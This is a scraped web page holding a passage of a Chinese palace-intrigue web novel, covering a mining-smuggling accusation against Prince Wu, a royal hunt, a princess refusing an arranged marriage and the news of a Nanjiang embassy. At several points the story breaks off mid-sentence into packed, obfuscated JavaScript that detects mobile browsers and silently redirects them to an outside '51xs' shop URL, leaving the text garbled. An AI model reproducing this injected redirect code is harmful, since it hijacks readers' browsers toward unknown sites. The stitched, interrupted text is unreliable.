l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938771|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,令人觉得狂妄。她敬重圣上与长公主,对关皇后和虞静循兄妹又是另一种态度。 但愿是他多想。 长公主亲自出面将这话题揭了过去,关皇后笑容真切几分,抬高声音道:“梨花寨使者远道而来,对这奉安行宫怕是不够熟悉,之后几天不如就让晋王和继淮负责招待使团,代陛下略尽地主之谊。” 皇后已经出言,虞帝没有异议,虞静延朝阶上望过一眼,起身应下:“儿臣遵旨。” “多谢皇后娘娘体恤。”黎娘子一一看过虞静延和萧绍,算是认了个脸熟,向关皇后道过谢。她自顾自饮尽杯中酒,放下酒盏后向殿外张望一圈,继而笑了。 “这奉安行宫风景甚美,只是路上不如去玉京好走。说来也巧,从梨花寨来的路上我经过了吴州,远观一片繁华富庶之景,打听后才知竟是吴王殿下的封地。” 虞静循握着酒盏的手收紧,忽然有了不详的预感。黎娘子继续说着,向虞帝道贺:“许是我太久没有回来过中原,从前竟不知吴州矿产奇丰,自给自足还有余力援助其他州郡,实在是块宝地。” 此话一出,举座皆惊。虞帝面色如旧,随口问:“黎娘子何故这样说?” 许是察觉到殿中气氛不对,黎娘子有些迟疑,但还是坦白:“途经吴州时,我看见有护卫护送矿车出城门,三更天仍络绎不绝……莫非是我看错了?” 众人惊诧的议论声里,虞静循呼吸急促,几步离席跪在大殿中央:“儿臣冤枉!吴州矿地不多,年年仅够满足铸币之需,岂会外流?求父皇明察!” 议论渐弱,殿中所有人噤若寒蝉,一时针落可闻。按照大齐惯例,地方所产矿石由朝廷统一调度,其中获利自然也归国有,如果真像黎娘子所说吴州半夜三更外运矿产,不是与其他州郡私下勾结往来,就是利用走私中饱私囊。 吴州是吴王的封地,不管是哪一种,一旦被查明坐实,都是难逃重罚的大罪。 关皇后亦是心下大乱,向虞帝连声辩解:“陛下,循儿一向孝顺明理,绝不会做此等没轻重的事!妾身……” 她欲起身跪地,手臂却突然被紧紧攫住了。 虞帝侧头望她:“朕与黎娘子闲聊罢了,皇后这是做什么?此事并无证据,朕岂会不信自己的儿子。” 隔着厚重的凤袍,虞帝的力道重若千钧,提醒着她现在所处的场合。是啊,梨花寨使者还在下面坐着,他们代表着大齐的脸面,岂能在这个关键时候失态? 关皇后回过神,后知后觉惊出一身冷汗,旋即扯出个笑:“陛下说得是,妾身是关心则乱。” 她强撑着冷静,由侍女扶着坐回位置。虞帝的视线投向下方,闪烁着阴晴不定:“吴州富庶,商户百姓在夜晚运货也是常见,玉京也是如此。许是黑夜太暗,黎娘子看岔了。” 黎娘子不疑有他,轻一颔首:“陛下说得有理。” 31. 围猎 次日皇家围猎,凡是此次行宫随行的人均要出席。祝回雪已经带着王府女眷率先前去,虞静延在书房处理了堆积的公文才开始动身。 昨日宴席上发生的事太过突然,让他们没有一点准备。吴州位处东部,矿产并不丰富,在这之前根本没人会怀疑,可梨花寨与虞静循从无过节,甚至从前根本没有打过照面,怎会无缘无故地诬陷他?必然是发现了什么异样才会贸然提起。 当时轻轻揭过,是不愿在梨花寨使者面前处理本国内部的事,以父皇的多疑程度,现在一定已经派人去暗查了。 虞静延神色微沉。矿地这种地方,随便捞一把都能赚个盆满钵满,士族们个个都想从中敛财,不止姜家一个,连关家都掺合了进来。 事关重大,父皇的人在查,他们的人也要查。但他身份不便,就只有由萧绍来。 虞静延翻身上马,吩咐道:“给继淮传话,叫他行事务必小心。” 片刻不到,张栩从宫门外赶回来,身后跟着一群宫人,请示道:“殿下,陛下赏赐各宫,这一份是给我们王府的,该如何处置?” 梨花寨使团前来献上的礼分外厚重,除了骏马兵器之类的也不乏器物钗裙等小玩意儿,被虞帝分出来做了给后宫和重臣的赏赐,说不上价值连城,但胜在精巧别致,颇有一番异域特色,拿去赏玩也是好的。 虞静延草草看了一眼,惯常道:“挑几件有趣的送去王妃那儿,其他的平分给后院。” 张栩应了,硬着头皮追问:“旁的物件都好说,只是里头还有一匹极好的缎子,量只够给一人,依殿下的意思……” 虞静延皱眉,不知他在问什么:“怎么?” 张栩何其了解自家主子,只一眼便明白了意思,暗怪自己明知故问:“奴才多嘴,奴才明白了!” 从前又不是没遇上过这种事,哪次遇上好东西不是送去正院王妃那儿的? 真是脑袋进水了! --- 日头正好,不远处的草原青葱广袤,近处,天子仪仗安置在视野最好的位置,身后是高大的旌旗雀扇,周围簇拥着后妃臣属的桌席,阵势浩大。 围场已经开启,四周守卫着士兵。骏马油光水滑的毛发配着锦鞍,已有英姿飒爽的骑装男女在旁等待,黎娘子依旧是那一身打扮,见此风景不由轻笑:“中原尚文重礼,马背上的功夫分明也毫不逊色。看来今日我有眼福,能见识一番大齐儿女的风采了。” 猎旗挂起,身着劲装的人群策马冲进密林,惊起群鸟高飞。轻柔的纱帐用以遮挡阳光,女眷席案钗环拂动,一片衣香鬓影。虞静央和祝回雪结伴而坐,远观参与围猎的人纵马扬鞭,心中亦觉轻快。 祝回雪身后跟着晋王府后院的几个妾室,其中徐侧妃位分最高,笑着问祝回雪:“妾身记得王妃姐姐也擅马术,早年还跟着祝老太傅骑马远游过,现在却是不常见姐姐上马了。” 虞静央经此一语也想起来,提议道:“左右现在在草原上,嫂嫂若有兴致,不妨一会儿去马场上兜一兜风。” 众人纷纷应和,祝回雪笑了笑:“你看我现在裙裳珠玉的模样,哪里还能上马?多年没有骑过,怕是也生疏了,你们就莫要为难我了。” 她意愿不高,虞静央等人也不好强求,只有作罢,坐在一起闲来寒暄。 隔壁席案还坐着其他高门夫人,谈论的无非是一些家长里短,昨日谁家娶了续弦,今日谁家纳了妾室,左右绕不开后院的事。八卦之心人皆有之,虞静央一行人片刻无话,思绪便被带跑了。 “那李侍郎平日看起来光风霁月,一副翩翩君子的模样,谁知却是个十足惧内的,那日我去他家府上拜访,恰好看见他被新婚夫人打得满院子逃。” “这便是奇了!能将李侍郎收拾得服服帖帖,想来李夫人定是个有能耐的女子。” “姐姐说得甚是!” 不知提起什么,妇人们笑作一团,未出阁的姑娘们也大都红着俏脸,匆匆用扇子遮掩住。 众人继续说着:“说起这长陵侯夫人,实在是令人唏嘘,最初与夫君两情相悦成了亲,婚后感情也甚好,奈何肚子不争气,成婚四年也没能生出儿子。家中老母催得紧,长陵侯受不住,只有与她和离,谁知这蠢娘子一时想不开,竟白绫一吊寻了短见。” 此事刚发生时在玉京掀起了不小的风浪,因此大多数人都知晓,现下重新提起亦是十分叹惋:“唉,实在是造化弄人……” 又到了子嗣的话题,祝回雪垂下眼睛,始终保持着沉默,身后的徐侧妃等人也不敢在说话。虞静央心思细腻,自然察觉到她心情微微低落,但有时刻意安慰反而容易弄巧成拙。 虞静央想了想,玩笑道:“皇嫂,你见多识广,一定知道野雉怎么烤最好吃。一会儿他们送来猎物,你可要亲自给我烤只鸡腿才行。” “偏你一心想着吃。”祝回雪笑着点点她额头,心中亦有所思。 成婚五年,她身为王妃,膝下仅有一个乐安,处境与当年的长陵侯夫人甚是相似,可她自认大多数时候都足够坚强,更不是个会为了夫婿寻死觅活的人,外面长辈带来的压力有时让她感到疲乏,但还远不到喘不过气的程度。 子嗣的事,急不得的。祝回雪告诉自己。 围场上传出喝彩赞叹声,众人的关注一下子就被吸引了过去,原来围猎第一场结束了。参与的人战绩颇丰,有野雉、野狐,还带回来两头健硕的梅花鹿。 “好!”虞帝龙颜大悦,赏赐给得毫不吝啬,一边吩咐准备第二场围猎。 人人都想在天子面前博个好彩头,气氛十分热闹,萧绍年年跟着虞帝来行宫,早已对围猎之事没了兴趣,坐在原位没有动。这时,他身旁走近一个年轻男子,温声道:“继淮,我们的队伍还缺一人,你可有兴致同去?” 来者长相文质彬彬,约莫二十来岁,是沈太仆家的公子。不远处女眷席位上人头攒动,簇拥着三五个锦裙罗衣的贵女,正向这头张望,其中为首的面上难掩期待,是那位沈家七娘子。 想起那日萧侯府与父亲的争执,萧绍不欲与沈家扯上关系,直接就要拒绝,虞帝却说话了,责怪道:“继淮,来都来了,你还闷在这里不动,不妨去围场里玩一玩,朕也许久没见过你拉弓了。” “……” 沉默半晌后,萧绍起身:“臣遵旨。” 沈太仆与关侯交好,在前朝的态度倾向不言自明。他与沈家走得近,就不可避免地要与晋王府和姜家疏远,回到中立的状态,而这正是陛下想要的平衡,至于那桩不可能的婚事,恐怕也正中陛下下怀。 萧绍身着窄袖便服,披风一甩上了马,从侍从手中接过长弓。纱幔外,贵女们正欢声起哄,虞静央收回目光,对晚棠道:“扶我去更衣。” 她同祝回雪说了一声,便起身去了,后者欲言又止,只吩咐晚棠:“好好照顾你家主子。” 人走后,祝回雪重新看回围场方向,见萧绍和沈家的队伍在一起,不禁恨铁不成钢地叹了口气。 平时祝回雪治下宽厚,后院的妾室都与她合得来,敬重却不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938772|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太畏惧,有人小声问:“王妃姐姐,萧将军当真要与沈七娘子结亲吗?” “不应该吧,沈家可是……” 几人凑在一起低低议论,说到一半又连忙噤声,毕竟徐侧妃还在这里,而徐家也是关氏门下的人。祝回雪侧头看看她们,只道:“莫要问了,吃点心。” …… 另一边,虞静央从席面上出来,围场上热闹的说话和马蹄声渐渐听不到了。外面很安静,能闻到清新的青草泥土味,她吸了吸气,顿时感到松快了不少。 晚棠跟在她身侧,提醒道:“殿下,我们还是早些回去,恐怕晋王妃会担心。” “知道了,我只是想出来转一转。”虞静央道。 主仆两人就这样缓缓走着,一直到了草原边缘的廊院处。虞静央有些累了,正想带着晚棠回去,身后有人叫住了她:“三殿下。” 虞静央停下脚步,回头一望竟是林岳青。她颇为惊讶,但碍于在外身份有别不好直称叔父,便道:“林大人怎么会在这里?” 林岳青快步到她面前拱了拱手,姿态是臣对君的恭敬:“见过三殿下。回殿下的话,臣下职路过此地,行宫中分给廷尉府的办公地点正在此廊院外的二十里处。” 他身后跟着小厮,手里还抱着一卷卷公文,虞静央面露了然,道了一句“原来如此”。两句话间,那小厮不知为何突然没站稳,手一滑把案卷撒了一地。 “哎哟!奴才该死,奴才该死!”小厮一屁股摔倒,慌乱求饶。散落的公文满地都是,林岳青微恼,训斥道:“怎么办事的,毛手毛脚!” “让殿下见笑了。”这些都是重要的公务,林岳青无可奈何,只好蹲下身来一起整理。虞静央见了便也让晚棠去帮忙,很快把所有案卷捡了起来。 “多谢殿下相助。”林岳青道谢,从晚棠手中接过案卷。 行宫人多眼杂,虞静央是公主,不宜与外臣多说,于是告辞道:“林大人不必言谢,时辰不早,本宫先行一步。” 晚棠扶着她离开。走到半路,虞静央感到疲倦,晚棠提议道:“这里离围场还有一些距离,殿下若是累了,不如差人寻鸾轿来?” 旁边就是皇家马厩,想在这里寻一架鸾轿来并不难。虞静央想了想,找了个从围场上出来的宫人问:“陛下是否还在席面上?” 宫人认出这是三公主,低着头如实道:“回殿下,陛下与皇后已经离席回行宫了。” 不管是大臣还是皇子后妃,在天子面前总归是拘束的,虞帝怎会不明白,只在招待使团时短暂地露了个面,之后坐了一会儿便先离开了,把玩乐的空间留给了众人。 圣上一走,场面便自由了许多,喜爱热闹的可以留在围场玩个尽兴,抑或同他人谈天,若想要清净躲懒,寻个由头回去也是使得的。 晚棠看出她的意图:“殿下是想……” 虞静央对骑马打猎这些事没兴趣,而且她离开玉京太久,除了祝回雪,女眷席位上没有几个她相熟的夫人,留下也只是干坐着,实在无甚趣味。于是她道:“派人去给皇嫂传话,就说我身子疲乏,先回去歇息了。” “是。” 没过一会儿,几个小黄门就抬着鸾轿来了,虞静央扶着晚棠上轿,坐了进去。 轿帘缓缓放下,遮住了外面的光景,辇轿被抬起来,载着她启程回行宫的住处。虞静央一言不发,从袖中拿出晚梨交到她手里的东西,一张细小的纸条。 是方才林岳青给的。展开纸条,上面写着几个字:“黄三已至陇西”。 32. 婚事 行宫百花园,游廊之间曲水环绕,庭院中央是繁漪锦簇的奇花异草,满园萦绕着馥郁的花香。隔着重重帘幕,花厅里等候着七八个年轻男子,大都容貌清秀俊逸,气度卓然。 花厅后的屏风外,虞静澜脸色平淡,坐在主位一动不动,全无闺阁少女面对这一场面该有的羞赧或腼腆:“母后差人把我从围场叫回来,原来是早就大费周章帮我安排好了。” 关皇后不在这里,陪在虞静澜身边的是坤宁宫的女官许嬷嬷,听罢陪笑:“殿下到了结亲的年纪,皇后娘娘着急也是应该的,现在吴王的终身大事已经定下,可不就要着手操心殿下的了吗?” 虞静澜不语,径直站起身走上前,隔着一道屏风恰好能隐隐约约看见外面那些男子。这些人,她从前参加宴会时都见过,可她根本不了解他们,不知品行如何,性格如何,只知道他们个个家世显赫,无一不是出自高门大族。 但凡背景上有一点逊色,日后又怎能在朝堂助益关家呢? 虞静澜冷笑,心中甚是不耐,直接就要绕过那些人从后门离开。许嬷嬷见了慌忙把人拦住,求情道:“殿下,皇后娘娘也是为你好,起码出去看几眼——” “看什么看!”虞静澜厉声喝道:“母后醉心权术一心想着关家,牺牲二皇兄的婚事不够,现在连我都要牺牲吗?这些人我根本就不喜欢!” “殿下休要胡言!”她话语失了分寸,许嬷嬷也顾不得什么尊卑规矩,忙抬高声音警告,又软下语气,低声劝说道:“皇后娘娘就殿下这一个孩子,怎会不为你打算?可只有关家鼎盛,殿下的日后才能一直安稳下去啊,皇后的位置也要依靠关氏才稳固呢。” 许嬷嬷年事已高,是宫中看着虞静澜长大的老人,比起关皇后,她的慈祥和宽容更像一个母亲。虞静澜的手被紧紧拉着,心里的怒火悄然被不甘取代,想气愤大骂却又哑然了,只有干涩着喉咙,作苍白的辩驳:“可我不喜欢他们。” “殿下没有接触过,怎知不会喜欢呢?”许嬷嬷继续与她讲道理,柔声道:“外面几位公子都是皇后亲自挑选出来的,他们的家族都站在关家一边,殿下不论选谁,婚后都不会受半点委屈,这样的日子不好吗?” 虞静澜沉默着,险些就要在动摇中被说服,在这个节骨眼上,她心中却不知怎的窜起一阵叛逆的火,突然得让她自己都缓不过神。在意识到自己在做什么之前,她的手已经甩开了女官。 “我不想要这样的日子!你回去告诉母后,我绝不会嫁给一个自己不喜欢的人,除非她逼我,绑住我的手脚,再堵上我的嘴!” 在宫人惊忙的挽留声中,虞静澜提起裙摆跑了出去。直到花园完全消失在她视线里,彻底甩开了后面紧追的宫人,虞静澜才停下脚步。她急促地喘着气,委屈和无助的情绪霎时达到了顶峰。 嬷嬷说,嫁给那些人不会委屈,可怎样才算委屈?皮肉之苦是委屈,忍饥挨饿是委屈,整日对着一个不喜欢的人,过着一眼看到头的日子,一睁眼就要处心积虑地与人勾心斗角,这些就不委屈吗?难道只要日积月累朝夕相对,就能对一个完全不感兴趣的人生出男女之情吗? 她的父皇和母后就是政治联姻,现在呢,他们有谁是幸福的?父皇可爱着母后? 虞静澜又想起了那位已经与二皇兄定亲的唐娘子。吴王府下聘的那天,唐娘子坐在房中,数不清的人来来往往道贺,满脸笑容的谄媚模样,仿佛她已经嫁入皇室,成了万人之上的吴王妃。虞静澜当时也去了唐府,就是在这样欢天喜地的氛围里,她离席更衣,却看见了躲在走廊角落暗自抹泪的唐娘子,她未来的二皇嫂。 那时虞静澜就知道了,她明明是不愿的,可她别无选择。 虞静澜一个人沿着外廊漫无目的地走,经过了许多宫殿,无意间一瞥,看见宫人抬着一架鸾轿徐徐行过,最后进了远处的宫苑大门。 鸾轿仅皇家女眷可用,而这里不是后妃的住所,除了她,能用的也就只有那一人了。 虞静澜脸色微沉,看着鸾轿缓缓消失,心中忽然想到:如果虞静央当初没有去南江,是不是也要面对今日她的窘境,被迫为了皇室或母家联姻? 不会的。 虞静澜心知肚明,不无自嘲地想:不会的。因为传闻中那位父皇的原配,姜夫人。 几年前,她曾听那些老嬷嬷说过,姜夫人逝去前放弃了有关自己的一切尊荣,甚至不要死后追封,只用半生夫妻情分向父皇求了一个承诺——膝下一双儿女将来嫁娶随心,不必为政治委身一生。所以,父皇才会让虞静央和萧绍青梅竹马长大,任由他们两个自由发展感情,就连和亲也是因为虞静央主动求去。要是没有下毒的事,她拥有的会是极其顺遂又幸福的一生。 可是……她虞静澜又做错了什么? 凭什么虞静央是杀人凶手,如今却安然无恙地回来了,而她五年前被毒药夺去了半条命,最终还是要身不由己,沦为政治的牺牲品? 虞静澜的心思被这一思路带着走,放任嫉妒的火燎原,几乎将她的心烧成了灰。 …… 围场上,第二轮围猎已经结束,毫不意外是萧绍拔得了头筹,带回来的猎物尤其多。他的战绩好,连带着同队的人也脸上有光,得到了虞帝离开前设置好的赏赐。沈公子等人很是高兴,顺势想拉着萧绍去席案上喝酒,但萧绍的兴致本就不高,另外始终想着要与沈家避嫌,于是拒绝得很干脆。 夕阳西斜,此时依然留在宴席上的正经主子已经不剩几个,萧绍也懒得与人逢场作戏,目光无意一瞥,发现远处女眷最靠前的席位空了一个。 不在,也许很早就已经走了。 “……” 萧绍心里莫名添了几分烦躁,打算向长公主请个安就告退离开,到了凤驾前才发现虞静延也在,长公主见他来了,也让他留下说话。 比起其他席案前的吵闹,长公主这里算是片难得的净土。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971411|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍女恭敬上了茶,萧绍坐下,见身边还有一个空着的位置,大致猜到了是为谁而留。 果然,长公主望了望外头,皱眉问道:“人呢,怎么还不来?” “三殿下身子疲累,已经先回行宫了。”侍女答道。 长公主一听,心里登时如明镜似的,怨怪道:“整日躲懒……” 几句言语间,萧绍听出没什么要紧的事,主动告辞道:“既然长公主并无要事,臣就先告退了。” “急什么?坐下。” 长公主瞥他一眼,“一听阿绥不来你就要走,怎么,你是长大了,现在连与本宫说几句话都不耐烦了?” “……” 长公主就是这样,越是亲近的人,平时越难从她这里得到一句好话或好脸色,实际上她是十分护短的。即使萧绍早已习惯了这种每次都要被明里暗里骂一顿的相处模式,但还是差点没忍住辩解:他到底哪句话提到了虞静央? 然而他只敢在心里想,老老实实吃了哑巴亏,千言万语精炼成一句:“臣不敢。” 好好一个聪明小子,现在又倔又硬不爱笑,活像头驴子,也不知怎么长的。长公主看出他不服,冷哼一声,倒也没再刁难,而是对虞静延道:“日子过一日少一日,阿绥的处境会更加艰难,你真打算坐以待毙,看着她走?” “当然不会。”虞静延斩钉截铁答道。关于虞静央的去留,他身为兄长,心中说不焦虑是假的,可事关两国邦交,他是大齐的皇子,尽管夙夜谋划,手中能动用的权力也是有限的,究竟最终结果如何,还要看父皇的裁夺。 长公主岂会不知他的压力,有什么责备的话也说不出口,无可奈何地叹了口气,拿出一封奏疏,一言不发扔到了两人面前。 虞静延微微不解,先拿起来打开看,扫了两眼后脸色倏地变了:“南江使团?” 听见这几个字,萧绍浑身一僵,看过奏疏上的内容,一时也顾不上是否失态了。 长公主对两人的反应毫不意外。她让侍女们悉数退下,轻嘲道:“梨花寨还没走,南江人又快来了,还真是多事之秋。这封奏疏是今早新递上来的,最近忙着接待梨花寨,关于南江的事,陛下八成会过几日再说,我也只有暗中告诉你们,免得到时候措手不及。” 五年了,上次南江人踏足玉京还是作为战胜国耀武扬威的时候,当时他们嚣张跋扈的嘴脸仍历历在目,这次过来却要求着大齐的公主随他们回国,争取把联姻关系持续下去。三十年河东,三十年河西,一幕一幕何其讽刺。 即使大齐在形势上处于上风,却依旧尚未摆脱战败国的地位。南江使团来了,目的就是迎虞静央回国,已经放低身段,给大齐做足了面子,而虞帝治政偏向温和宽纵,朝中保守党也众多,在这样的情况下,他们会不会为了维持与南江的表面和谐而松口,顺水推舟答应让虞静央离开?全都不得而知。 萧绍手放在膝前,骨节分明的手指握得泛白。 33. 朝晖 天色将晚,夕阳落下山谷,只剩下一抹绮丽的晚霞。宴席散去,在得知虞静延还在长公主那里后,祝回雪带着晋王府众人先回了行宫。 在围场坐了一整日,祝回雪也感到疲乏,暂时没有心思像往日一样读读写写了。哄睡乐安后,她回到主殿打算歇息,侍女初桃侍候她梳洗,不忘笑道:“今日的围猎当真精彩极了,殿下猎了几只白狐,当场就命人拿去给王妃做狐裘了,不知羡煞多少夫人呢。” 狐裘的事祝回雪知道,听她再度说起也不由一笑,不忘叮嘱:“好了,当心叫人听见。” 初桃吐吐舌头:“听见便听见了,殿下与王妃感情好,谁还能抢了去?” 祝回雪无奈地瞧了瞧她,其实心里也是高兴的。不知是不是她的错觉,自从那次刺客的事过去,她和虞静延之间的关系似乎亲近了不少,不再是过去那样冷冰冰的相敬如宾,好像从前都隔着一层无形的膜,总是让他们无法进入彼此的心,而现在那层隔膜消失了。 主仆俩说话之际,有人在外求见。几个小厮低着头进来,手里端着的托盘里放着各种各样的物件,禀报道:“陛下赏赐晋王府,殿下在里面挑了几件别致的,特命奴才给王妃送来。” 祝回雪远远扫了一眼,见入眼一片流光溢彩,不像中原的风格,于是感到新奇,吩咐人近前来。小厮依言把东西捧到她面前,镶嵌各种宝石的妆奁、象牙雕的发簪、会报时的西洋钟表,都是玉京少见的稀罕物。 “真是精巧。”初桃赞叹。 五颜六色亮晶晶的东西,任谁会不喜欢呢?祝回雪一时移不开眼,拿在手里看了又看,笑意温婉问:“殿下何时才回来?” 小厮答:“长公主留了殿下说话,似有政事要处理。殿下让奴才带话,叫王妃不必等。” 祝回雪想当面向虞静延道谢,得到这个答案后略有失望,但也很快接受了。毕竟还是要以政务为重的,他们日日都见面,什么时候不能说话? 这样想着,她便没再放在心上,继续看托盘里的东西。放在最后的是一匹布料,触手生凉,又比丝绸更柔软透气,烛光下还闪烁着柔和的粼光,仿佛正午日光照耀的湖面,而且量不多,只有薄薄一卷,看起来只能做出一件夏衣,足以看出其稀有。 小厮殷勤介绍道:“这是南边越国产的流光缎,十分珍贵,梨花寨上贡也只有三匹之数,我们晋王府总共就得了这么多。殿下见了专门吩咐,说要都给王妃送来。” “告诉殿下我很喜欢。” 祝回雪翘起唇角,把布料拿近细看,正思量是做寝衣还是做夏衫好,看清细节后却陡然僵住了,这上面的花纹,绣的是…… 石榴百子纹。 祝回雪脸上的笑容渐渐消了下去,轻声问:“你方才说,这是殿下特意指明给我的?” 小厮不疑有他,忙道:“正是!这缎子柔软又凉快,上面的纹样也吉祥……” 纹样吉祥…… 祝回雪定定望着那锦缎上的婴戏绣纹,自嘲地笑了一下。 石榴、葡萄都是多子的水果,变成花纹用在首饰器物上的意味亦是如此,更别说还有玩耍的婴童。她从小到大读了那么多书,这匹布料暗含的是什么意思,怎会不明白? 初桃长年累月跟在祝回雪身边,也是读书识字的,自然也看出了这布料的不妥,当即怒斥小厮:“吉祥?这布料——” 祝回雪拉住她,冲小厮扯出个笑:“这布料很好,我很喜欢,你退下吧。” 打发了小厮,祝回雪再也维持不了表面上的得体,银盘掉在地上,柔滑的缎子从里面滚落,沾上了尘土。 宫里有帝后的催促,祝家有长辈的告诫,人人都想要她早日怀上男胎,为皇室生下长孙,也巩固晋王府的地位……可有谁考虑过她的感受?她的身体在生乐安时有了亏损,至今迟迟不见再传喜讯,难道是她不想吗? 祝回雪自认不会轻易被外面那些风言风语扰了心情,相信得来子嗣要靠缘分,强求无益,可面对皇宫送来的助孕药膳时,还是会一碗又一碗灌下去。她不断告诉自己,这样就足够了,接下来只要等,毕竟连虞静延都没有给她过压力,她又何必自己为难自己? 可是,现在他也来逼她了。 她的脸色实在太难看,白得像金纸一般,初桃担忧不已,忙安慰道:“王妃莫要放在心上,许是我们想多了,这缎子上的花样只是吉祥多福之意呢?” 祝回雪摇摇头,只觉得前所未有的疲倦,把掉在地上的布料捡了起来。 虞静延不是个不学无术的纨绔皇子,他读过书,见识过那么多权术心机,哪里会不知道这花纹是什么意思?他只是忍久了,现在耐心用尽了而已,她却沉溺在先前的温柔里,差点就陷了进去。 锦缎上玩耍的孩童神态鲜活,祝回雪用指尖摩挲着,眼眶悄悄红了。 --- 与玉京皇宫相比,奉安行宫要小了不少,好在此次随行人员不多,悉数住下后不显拥挤,反倒颇为冷清,像虞静央的朝晖殿位于行宫北面,且临近宫室较少,一人居住不仅宽敞,而且足够僻静。 这天,虞静央哪里也没去,朝晖殿附近有一片竹林,远远望去青翠一片,亦是清爽静心的好去处,她在这里闲坐透气,反倒比昨日在围场上更自在,也让她更能专心致志想一想正经事。 当时把黄三抓回来,他一口咬死那些来杀他的刺客是因为赌博之事,这番说辞无法令她全然相信,可她毕竟没有别的证据,只是凭空怀疑。南江那边的事还没有全然解决,为免打草惊蛇惹祸上身,她不能大动干戈地查,只有把人放走。 现在黄三已经安全回到陇西,但上次暗杀他的刺客没有得手,所以,他仍有丢命的风险。好在她与哥哥重归于好,有晋王府人手的暗中留意,黄三的性命也算有了保障。 留着他,若将来发现有什么异常的地方,再抓他回来也不迟。 湖面安静得如平镜一般,虞静央坐在秋千上有一搭没一搭地晃,一人高的青竹掩住她身影。正出着神,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13002959|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心不在焉地吩咐:“晚棠,给我倒杯茶来。” 然而,她身后应答的人并不是晚棠:“殿下想喝什么茶?” 一道温和的男声传进耳朵,带着隐隐的笑意,虞静央心中一惊,立刻转身去看,认出来人后生生愣了两秒:“苏昀?!” 男子容貌清俊,看上去二十出头的年纪,着青袍戴玉冠,周身尽是温润柔和之气,令人生不起防备之心。见虞静央认出自己,他面上笑意更明显了一些,向她躬身。 “臣苏昀,见过三殿下。” 五年过去,他却像一点都没有变,言行举止都和从前一模一样。虞静央没想到能在这里遇上昔日旧识,很快离开秋千走到他面前。 “你怎么会在这里?”她难掩欣喜之色,自己回来这么久,在玉京却一次都没有见过他。 苏昀含笑,答道:“我在太常手下任职,去年奉命入行宫主持祭祀皇室先祖之事,之后便一直留在这里。你开春时才回到玉京,哪里能见到我?” “原来如此。”虞静央了然。太常掌管礼仪祭祀,苏昀能主持皇室先祖祭仪这样的大事,可见是十分受父皇器重的。如今他在奉安行宫满一年,已经赚够了资历,等回到玉京,八成就又要升迁了。 虞静央也为他高兴,故意道:“苏博士在朝堂上平步青云,不知朝堂外可有什么特别的收获?” “殿下就莫要取笑我了。”苏昀哪里听不出她的言下之意,无奈道:“从前我在前朝东奔西走,之后又在行宫留了一年,整日不是祭典便是仪礼。至于什么终身大事,我是没有半分兴趣理会。” 这是在抱怨公务繁多了。虞静央忍俊不禁:“那你可要抓紧点,当心被父皇盯上,给你来一个乱点鸳鸯谱。” 苏家虽无甚实权,却三代掌管皇室仪礼,名望堪与祝家比肩。苏昀出身清贵,虞静央在太学读书时与他相识,有过两年同窗情谊,那时他是皇子伴读,最得夫子喜欢,后来被举荐到父皇面前,就此进入了仕途,后来没过多久,她离京和亲,与苏昀之间的来往便也断了。 “劳三殿下挂心了。”苏昀语带揶揄同她寒暄,虞静央言语自如,神色始终轻松,没过多久,苏昀却装不下去了。 外界的传言愈演愈烈,通通进了苏昀的耳朵。他不想把悲观情绪传给虞静央,却还是不可避免地面色凝重:“现在南江还在催促要你回去,你……有没有想过怎么做?” 苏昀身为礼官可以自由出入内廷,但朝晖殿附近并无重要宫室,他今日过来必定不是路过。虞静央料到他想说什么,耐着性子等他提起,平静地垂着眸子:“他们催促是他们的事,回不回去却是我的事。” 苏昀还以为她过于天真,心思单纯至此,立马驳道:“怎会如此简单?南江仗着战胜国的地位压迫我大齐多年,行事一向强横,现在不过是与西戎战事损失太大才暂时收敛,待到他们缓过劲来,你该如何自处?” 意识到自己语气过急,苏昀找回理智,微微懊恼地告罪:“抱歉,殿下。” 34. 惊马 “无妨。”虞静央明白他的善意,温和一笑。他是在为她着急,她又岂会介怀? 面前女子风华依旧,经历过艰难后变得平和起来,眼中是从前没有的沉静,仿佛什么都不在意,什么都不上心,连自己的日后都完全顺其自然。苏昀望着她,半晌叹了口气,自是怒其不争。 他始终不明白当初她为什么要自请远嫁,虽然那南江王子长相尚可,可哪里就到了值得她非君不嫁的地步?虞静央看人的眼光奇高,一见钟情?这个可笑的理由,他根本没法相信。 